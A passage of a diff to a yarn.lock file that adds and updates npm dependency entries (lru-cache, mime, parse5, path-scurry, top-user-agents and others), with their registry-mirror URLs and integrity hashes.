   resolved "https://registry.npmmirror.com/lru-cache/-/lru-cache-8.0.5.tgz#983fe337f3e176667f8e567cfcce7cb064ea214e"
   integrity sha512-MhWWlVnuab1RG5/zMRRcVGXZLCXrZTgfwMikgzCegsPnG62yDQo5JnqKkrK4jO5iKqDAZGItAqN5CtKBCBWRUA==
 
+"lru-cache@^9.1.1 || ^10.0.0":
+  version "10.2.0"
+  resolved "https://registry.npmmirror.com/lru-cache/-/lru-cache-10.2.0.tgz#0bd445ca57363465900f4d1f9bd8db343a4d95c3"
+  integrity sha512-2bIM8x+VAf6JT4bKAljS1qUWgMsqZRPGJS6FSahIMPVvctcNhyVp7AJu7quxOW9jwkryBReKZY5tY5JYv2n/7Q==
+
 merge-stream@^2.0.0:
   version "2.0.0"
   resolved "https://registry.npmmirror.com/merge-stream/-/merge-stream-2.0.0.tgz#52823629a14dd00c9770fb6ad47dc6310f2c1f60"
@@ -635,13 +894,18 @@ mime-types@2.1.18:
   dependencies:
     mime-db "~1.33.0"
 
-mime-types@~2.1.34:
+mime-types@^2.1.12, mime-types@~2.1.34:
   version "2.1.35"
   resolved "https://registry.npmmirror.com/mime-types/-/mime-types-2.1.35.tgz#381a871b62a734450660ae3deee44813f70d959a"
   integrity sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==
   dependencies:
     mime-db "1.52.0"
 
+mime@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.npmmirror.com/mime/-/mime-3.0.0.tgz#b374550dca3a0c18443b0c950a6a58f1931cf7a7"
+  integrity sha512-jSCU7/VB1loIWBZe14aEYHU/+1UMEHoaO7qxCOVJOw9GgH72VAWppxNcjU+x9a2k3GSIBXNKxXQFqRvvZ7vr3A==
+
 mimic-fn@^2.1.0:
   version "2.1.0"
   resolved "https://registry.npmmirror.com/mimic-fn/-/mimic-fn-2.1.0.tgz#7ed2c2ccccaf84d3ffcb7a69b57711fc2083401b"
@@ -654,11 +918,23 @@ minimatch@3.1.2:
   dependencies:
     brace-expansion "^1.1.7"
 
+minimatch@^9.0.1:
+  version "9.0.3"
+  resolved "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.3.tgz#a6e00c3de44c3a542bfaae70abfc22420a6da825"
+  integrity sha512-RHiac9mvaRw0x3AYRgDC1CxAP7HTcNrrECeA8YYJeWnpo+2Q5CegtZjaotWTWxDG3UeGA1coE05iH1mPjT/2mg==
+  dependencies:
+    brace-expansion "^2.0.1"
+
 minimist@^1.2.0:
   version "1.2.8"
   resolved "https://registry.npmmirror.com/minimist/-/minimist-1.2.8.tgz#c1a464e7693302e082a075cee0c057741ac4772c"
   integrity sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==
 
+"minipass@^5.0.0 || ^6.0.2 || ^7.0.0":
+  version "7.0.4"
+  resolved "https://registry.npmmirror.com/minipass/-/minipass-7.0.4.tgz#dbce03740f50a4786ba994c1fb908844d27b038c"
+  integrity sha512-jYofLM5Dam9279rdkWzqHozUo4ybjdZmCsDHePy5V/PbBcVMiSZR97gmAy45aqi8CK1lG2ECd356FU86avfwUQ==
+
 moment-timezone@^0.5.43:
   version "0.5.45"
   resolved "https://registry.npmmirror.com/moment-timezone/-/moment-timezone-0.5.45.tgz#cb685acd56bac10e69d93c536366eb65aa6bcf5c"
@@ -714,6 +990,13 @@ npm-run-path@^4.0.1:
   dependencies:
     path-key "^3.0.0"
 
+nth-check@^2.0.1:
+  version "2.1.1"
+  resolved "https://registry.npmmirror.com/nth-check/-/nth-check-2.1.1.tgz#c9eab428effce36cd6b92c924bdb000ef1f1ed1d"
+  integrity sha512-lqjrjmaOoAnWfMmBPL+XNnynZh2+swxiX3WUE0s4yEHI6m+AwrK2UZOimIRl3X/4QctVqS8AiZjFqyOGrMXb/w==
+  dependencies:
+    boolbase "^1.0.0"
+
 on-exit-leak-free@^2.1.0:
   version "2.1.2"
   resolved "https://registry.npmmirror.com/on-exit-leak-free/-/on-exit-leak-free-2.1.2.tgz#fed195c9ebddb7d9e4c3842f93f281ac8dadd3b8"
@@ -731,6 +1014,21 @@ onetime@^5.1.2:
   dependencies:
     mimic-fn "^2.1.0"
 
+parse5-htmlparser2-tree-adapter@^7.0.0:
+  version "7.0.0"
+  resolved "https://registry.npmmirror.com/parse5-htmlparser2-tree-adapter/-/parse5-htmlparser2-tree-adapter-7.0.0.tgz#23c2cc233bcf09bb7beba8b8a69d46b08c62c2f1"
+  integrity sha512-B77tOZrqqfUfnVcOrUvfdLbz4pu4RopLD/4vmu3HUPswwTA8OH0EMW9BlWR2B0RCoiZRAHEUu7IxeP1Pd1UU+g==
+  dependencies:
+    domhandler "^5.0.2"
+    parse5 "^7.0.0"
+
+parse5@^7.0.0:
+  version "7.1.2"
+  resolved "https://registry.npmmirror.com/parse5/-/parse5-7.1.2.tgz#0736bebbfd77793823240a23b7fc5e010b7f8e32"
+  integrity sha512-Czj1WaSVpaoj0wbhMzLmWD69anp2WH7FXMB9n1Sy8/ZFF9jolSQVMu1Ij5WIyGmcBmhk7EOndpO4mIpihVqAXw==
+  dependencies:
+    entities "^4.4.0"
+
 path-is-inside@1.0.2:
   version "1.0.2"
   resolved "https://registry.npmmirror.com/path-is-inside/-/path-is-inside-1.0.2.tgz#365417dede44430d1c11af61027facf074bdfc53"
@@ -741,6 +1039,14 @@ path-key@^3.0.0, path-key@^3.1.0:
   resolved "https://registry.npmmirror.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
   integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==
 
+path-scurry@^1.10.1:
+  version "1.10.1"
+  resolved "https://registry.npmmirror.com/path-scurry/-/path-scurry-1.10.1.tgz#9ba6bf5aa8500fe9fd67df4f0d9483b2b0bfc698"
+  integrity sha512-MkhCqzzBEpPvxxQ71Md0b1Kk51W01lrYvlMzSUaIzNsODdd7mqhiimSZlr+VegAz5Z6Vzt9Xg2ttE//XBhH3EQ==
+  dependencies:
+    lru-cache "^9.1.1 || ^10.0.0"
+    minipass "^5.0.0 || ^6.0.2 || ^7.0.0"
+
 path-to-regexp@2.2.1:
   version "2.2.1"
   resolved "https://registry.npmmirror.com/path-to-regexp/-/path-to-regexp-2.2.1.tgz#90b617025a16381a879bc82a38d4e8bdeb2bcf45"
@@ -813,6 +1119,11 @@ proxy-addr@^2.0.7:
     forwarded "0.2.0"
     ipaddr.js "1.9.1"
 
+proxy-from-env@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.npmmirror.com/proxy-from-env/-/proxy-from-env-1.1.0.tgz#e102f16ca355424865755d2c9e8ea4f24d58c3e2"
+  integrity sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==
+
 punycode@^1.3.2:
   version "1.4.1"
   resolved "https://registry.npmmirror.com/punycode/-/punycode-1.4.1.tgz#c0d5a63b2718800ad8e1eb0fa5269c84dd41845e"
@@ -904,7 +1215,7 @@ safe-buffer@5.1.2:
   resolved "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.1.2.tgz#991ec69d296e0313747d59bdfd2b745c35f8828d"
   integrity sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==
 
-safe-buffer@^5.0.1, safe-buffer@~5.2.0:
+safe-buffer@5.2.1, safe-buffer@^5.0.1, safe-buffer@~5.2.0:
   version "5.2.1"
   resolved "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.2.1.tgz#1eaf9fa9bdb1fdd4ec75f58f9cdb4e6b7827eec6"
   integrity sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==
@@ -1006,6 +1317,11 @@ set-cookie-parser@^2.4.1:
   resolved "https://registry.npmmirror.com/set-cookie-parser/-/set-cookie-parser-2.6.0.tgz#131921e50f62ff1a66a461d7d62d7b21d5d15a51"
   integrity sha512-RVnVQxTXuerk653XfuliOxBP81Sf0+qfQE73LIYKcyMYHG94AuH0kgrQpRDuTZnSmjpysHmzxJXKNfa6PjFhyQ==
 
+setprototypeof@1.2.0:
+  version "1.2.0"
+  resolved "https://registry.npmmirror.com/setprototypeof/-/setprototypeof-1.2.0.tgz#66c9a24a73f9fc28cbe66b09fed3d33dcaf1b424"
+  integrity sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==
+
 shebang-command@^2.0.0:
   version "2.0.0"
   resolved "https://registry.npmmirror.com/shebang-command/-/shebang-command-2.0.0.tgz#ccd0af4f8835fbdc265b82461aaf0c36663f34ea"
@@ -1023,6 +1339,11 @@ signal-exit@^3.0.3:
   resolved "https://registry.npmmirror.com/signal-exit/-/signal-exit-3.0.7.tgz#a9a1767f8af84155114eaabd73f99273c8f59ad9"
   integrity sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==
 
+signal-exit@^4.0.1:
+  version "4.1.0"
+  resolved "https://registry.npmmirror.com/signal-exit/-/signal-exit-4.1.0.tgz#952188c1cbd546070e2dd20d0f41c0ae0530cb04"
+  integrity sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==
+
 sonic-boom@^3.7.0:
   version "3.8.0"
   resolved "https://registry.npmmirror.com/sonic-boom/-/sonic-boom-3.8.0.tgz#e442c5c23165df897d77c3c14ef3ca40dec66a66"
@@ -1040,7 +1361,18 @@ sqlstring@^2.3.2:
   resolved "https://registry.npmmirror.com/sqlstring/-/sqlstring-2.3.3.tgz#2ddc21f03bce2c387ed60680e739922c65751d0c"
   integrity sha512-qC9iz2FlN7DQl3+wjwn3802RTyjCx7sDvfQEXchwa6CWOx07/WVfh91gBmQ9fahw8snwGEWU3xGzOt4tFyHLxg==
 
-string-width@^4.1.0:
+statuses@2.0.1:
+  version "2.0.1"
+  resolved "https://registry.npmmirror.com/statuses/-/statuses-2.0.1.tgz#55cb000ccf1d48728bd23c685a063998cf1a1b63"
+  integrity sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==
+
+string-hash@^1.1.3:
+  version "1.1.3"
+  resolved "https://registry.npmmirror.com/string-hash/-/string-hash-1.1.3.tgz#e8aafc0ac1855b4666929ed7dd1275df5d6c811b"
+  integrity sha512-kJUvRUFK49aub+a7T1nNE66EJbZBMnBgoC1UbCZ5n6bsZKBRga4KgBRTMn/pFkeCZSYtNeSyMxPDM0AXWELk2A==
+
+"string-width-cjs@npm:string-width@^4.2.0", string-width@^4.1.0:
+  name string-width-cjs
   version "4.2.3"
   resolved "https://registry.npmmirror.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
   integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
@@ -1065,7 +1397,8 @@ string_decoder@^1.3.0:
   dependencies:
     safe-buffer "~5.2.0"
 
-strip-ansi@^6.0.1:
+"strip-ansi-cjs@npm:strip-ansi@^6.0.1", strip-ansi@^6.0.0, strip-ansi@^6.0.1:
+  name strip-ansi-cjs
   version "6.0.1"
   resolved "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
   integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
@@ -1108,6 +1441,16 @@ toad-cache@^3.3.0:
   resolved "https://registry.npmmirror.com/toad-cache/-/toad-cache-3.7.0.tgz#b9b63304ea7c45ec34d91f1d2fa513517025c441"
   integrity sha512-/m8M+2BJUpoJdgAHoG+baCwBT+tf2VraSfkBgl0Y00qIWt41DJ8R5B8nsEw0I58YwF5IZH6z24/2TobDKnqSWw==
 
+toidentifier@1.0.1:
+  version "1.0.1"
+  resolved "https://registry.npmmirror.com/toidentifier/-/toidentifier-1.0.1.tgz#3be34321a88a820ed1bd80dfaa33e479fbb8dd35"
+  integrity sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==
+
+top-user-agents@^2.1.13:
+  version "2.1.13"
+  resolved "https://registry.npmmirror.com/top-user-agents/-/top-user-agents-2.1.13.tgz#6f860bdeb8147354e29e21ac0038fba0982a9ac7"
+  integrity sha512-GirSC/TF6Shq6Y4s5Os5SQ92PwPTd5mhZUR9Em6kzFeBBepRQI5OOXJXj3EvS7psxyKDhNGG5xJ9y2V358lSdg==
+
 toposort-class@^1.0.1:
   version "1.0.1"
   resolved "https://registry.npmmirror.com/toposort-class/-/toposort-class-1.0.1.tgz#7ffd1f78c8be28c3ba45cd4e1a3f5ee193bd9988"
@@ -1123,6 +1466,18 @@ undici-types@~5.26.4:
   resolved "https://registry.npmmirror.com/undici-types/-/undici-types-5.26.5.tgz#bcd539893d00b56e964fd2657a4866b221a65617"
   integrity sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==
 
+unique-random-array@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.npmmirror.com/unique-random-array/-/unique-random-array-3.0.0.tgz#db0c11c885d674c39050a79cf25d11b09ff97c22"
+  integrity sha512-AETNmMf8dV7VfCu4pM5SO1nKkZZp3lZsbHk9VxkvR2ZjMYy4mzWwzez0g+ZtYIr+RaVH+UN8A003E7woM/ud7Q==
+  dependencies:
+    unique-random "^3.0.0"
+
+unique-random@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.npmmirror.com/unique-random/-/unique-random-3.0.0.tgz#ddf20e62d2f5af1dbd606602fb5b5821588c8469"
+  integrity sha512-4vjtE3pH6xO5OmsSmjc6KPgHy2rbCw66BbMRLIyXkuq+WzOKA1oNkqQ+Y7Lh+sE0DrOrWMSpFkivhhzCF7J6HA==
+
 update-check@1.5.4:
   version "1.5.4"
   resolved "https://registry.npmmirror.com/update-check/-/update-check-1.5.4.tgz#5b508e259558f1ad7dbc8b4b0457d4c9d28c8743"
@@ -1174,7 +1529,16 @@ wkx@^0.5.0:
   dependencies:
     "@types/node" "*"
 
-wrap-ansi@^8.0.1:
+"wrap-ansi-cjs@npm:wrap-ansi@^7.0.0":
+  version "7.0.0"
+  resolved "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-7.0.0.tgz#67e145cff510a6a6984bdf1152911d69d2eb9e43"
+  integrity sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==
+  dependencies:
+    ansi-styles "^4.0.0"
+    string-width "^4.1.0"
+    strip-ansi "^6.0.0"
+
+wrap-ansi@^8.0.1, wrap-ansi@^8.1.0:
   version "8.1.0"
   resolved "https://registry.npmmirror.com/wrap-ansi/-/wrap-ansi-8.1.0.tgz#56dc22368ee570face1b49819975d9b9a5ead214"
   integrity sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==

Unele fișiere nu au fost afișate deoarece prea multe fișiere au fost modificate în acest diff